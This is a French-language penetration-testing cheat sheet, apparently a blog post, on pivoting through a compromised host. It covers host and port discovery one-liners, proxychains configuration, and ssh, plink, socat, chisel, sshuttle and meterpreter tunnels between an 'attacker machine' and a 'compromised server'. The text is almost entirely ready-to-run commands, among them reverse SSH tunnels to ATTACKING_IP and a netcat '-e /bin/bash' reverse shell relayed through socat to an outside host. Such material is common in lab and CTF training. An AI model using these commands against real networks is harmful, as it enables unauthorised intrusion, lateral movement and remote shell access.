Pivot avec ssh, plink, socat, chisel ou sshuttle

Pivoter

Enumeration des hôtes actifs


./nmap -sn 10.x.x.1-255 -oN scan-USERNAME
for i in {1..255}; do (ping -c 1 172.16.0.${i} | grep "bytes from" &); done #alternative

Détermination des ports actifs sur un hôtes

for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

Configuration de proxychains

Les fichiers de configuration de proxychains
./proxychains.conf
~/.proxychains/proxychains.conf
/etc/proxychains.conf

ajouter dans la section [ProxyList]
socks4 127.0.0.1 8080 #ou socks5 pour chisel par exemple

ssh

ssh forward connections

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
ssh -D 1337 user@172.16.0.5 -fN #proxy

ssh reverse connections

ssh-keygen
copier la clé publique dans le fichier authorized_keys sur l’ordinateur de l’attaquant. ajouter command=”echo ‘This account can only be used for port forwarding'”,no-agent-forwarding,no-x11-forwarding,no-pty devant la clé dans ce fichier

ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN #reverse proxy. possible dans les versions récentes

Plink.exe (ssh n’est pas disponible dans les versions anciennes de Windows)
Les clés créés avec ssh-keygen doivent être convertis avec puttygen
Possible de télécharger une copie sur https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html ou /usr/share/windows-resources/binaries/plink.exe sur kali

cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
sudo apt install putty-tools
puttygen KEYFILE -o OUTPUT_KEY.ppk

socat

Reverse relay

./socat tcp-l:8000 172.16.0.200:443 
./nc 127.0.0.1 8000 -e /bin/bash

Port forwarding (easy)
./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &

Port forwarding (quiet). Il n’y a pas de ports ouvert sur la machine compromise

socat tcp-l:8001 tcp-l:8000,fork,reuseaddr & #machine de l'attaquant
./socat tcp:10.50.73.2:8001 tcp:172.16.0.10:80,fork & #serveur compromis

Nous pouvons maintenant visiter le site à l’adresse http://localhost:8000

Chisel

Reverse SOCKS Proxy

./chisel server -p LISTEN_PORT --reverse & #machine de l'attaquant
./chisel client ATTACKING_IP:LISTEN_PORT R:socks & #serveur compromis

Forward SOCKS Proxy

./chisel server -p LISTEN_PORT --socks5 #serveur compromis
./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks #attaquant

Remote Port Forward

./chisel server -p LISTEN_PORT --reverse & #attaquant
./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT & #serveur compromis

Local Port Forward

./chisel server -p LISTEN_PORT #serveur compromis
./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT #attaquant

Sshuttle

sudo apt install sshuttle
sshuttle -r user@172.16.0.5 172.16.0.0/24 #accès au réseau 172.16.0.0 sur l'ordinateur de l'attaquant
sshuttle -r username@address -N #accès aux réseaux du serveur comprimis en regardant ses tables de routage
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24 #connexion avec une clé ssh
shuttle -x 172.16.0.100 -r user@172.16.0.100 172.16.0.0/24 #le serveur fait partie du réseau que l'on veut avoir accès

meterpreter port forwarding
portfwd add -l 8081 -p 8080 -r 127.0.0.1

Leave a Reply